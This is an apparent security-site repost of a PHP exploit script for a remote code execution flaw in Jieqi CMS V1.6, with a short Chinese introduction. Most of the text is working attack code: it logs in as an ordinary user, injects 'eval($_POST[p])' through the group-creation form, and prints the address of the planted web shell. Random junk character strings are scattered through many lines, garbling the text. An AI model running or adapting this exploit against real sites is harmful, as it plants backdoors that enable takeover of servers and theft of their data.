Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
: a* d; {6 W( B) P0 k 需要有一个能创建圈子的用户。

<?php
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' ]# q1 V7 V1 N2 L0 i2 w8 \% ~print_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
% K* x+ ?! x& O: O$ v+ x% i; steam: http://www.wolvez.org
. S0 ~$ u! c8 U% K( Y& J( ^+---------------------------------------------------------------------------+
: y4 |. p4 q0 o1 g" ^6 M4 }'); /**
) i9 o/ s: g( P; O4 `) k * works regardless of php.ini settings
7 V6 \. }/ K9 l* b) j1 P! q- Y*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
0 i% \. S  D$ [+ v, CUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
& a6 ?+ W1 U. b- Rpath:      path to jieqicms
uasename:  a username who can create group
Example:
! J; ]& A" O3 L( F* D; dphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
% j+ Y2 [+ }0 ^+---------------------------------------------------------------------------+
0 Z* P. B" ]2 @5 l3 D'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
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% V3 g# P0 j# N9 u& r'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
3 y7 H, z/ Q# V-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

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  w( I9 ^7 q& p2 L/ p; O1 \1 l/ W-----------------------------23281168279961
3 a: S% d$ A- R# z! S. B" jContent-Disposition: form-data; name="gaudit"
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1
% G) i5 K2 l, u+ k/ P2 d1 X-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
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1
, @- r( |* l7 m  g0 [7 ~& Z4 g# i-----------------------------23281168279961--
, X5 t( H3 r" \) X" y'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;